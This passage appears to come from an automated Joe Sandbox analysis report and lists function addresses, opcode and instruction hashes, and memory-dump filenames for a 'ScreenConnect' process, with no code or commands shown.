                                                                                          • Opcode ID: 552d66e08a5c6fe570a15edd5257e162c70004bc71e69ec81ac5ac661200a7a5
                                                                                          • Instruction ID: 6936548f2b0bd69005eba53664e1b5fcbcc4ce24ad416ba9ee2d73c34b973d88
                                                                                          • Opcode Fuzzy Hash: 552d66e08a5c6fe570a15edd5257e162c70004bc71e69ec81ac5ac661200a7a5
                                                                                          • Instruction Fuzzy Hash: 6BC09B20F0955E46F374EFA5847527E21427F8C208B525430D14D891F6CD3C67026511
                                                                                          Function 00007FFD9B712A62 Relevance: .0, Instructions: 4COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 0ebc90d57e1f4ddd250f480fcae252ad7b9eaa0fcb833a398c16b06808a9afb3
                                                                                          • Instruction ID: e7684a40be2b5416b3e030ca8b6211d38aefbbc73709bf0152a7d5844575b85c
                                                                                          • Opcode Fuzzy Hash: 0ebc90d57e1f4ddd250f480fcae252ad7b9eaa0fcb833a398c16b06808a9afb3
                                                                                          • Instruction Fuzzy Hash: 38A00210F0EA6E46E17571D4542127F60410F44608A235231D24E851FACD2C67422666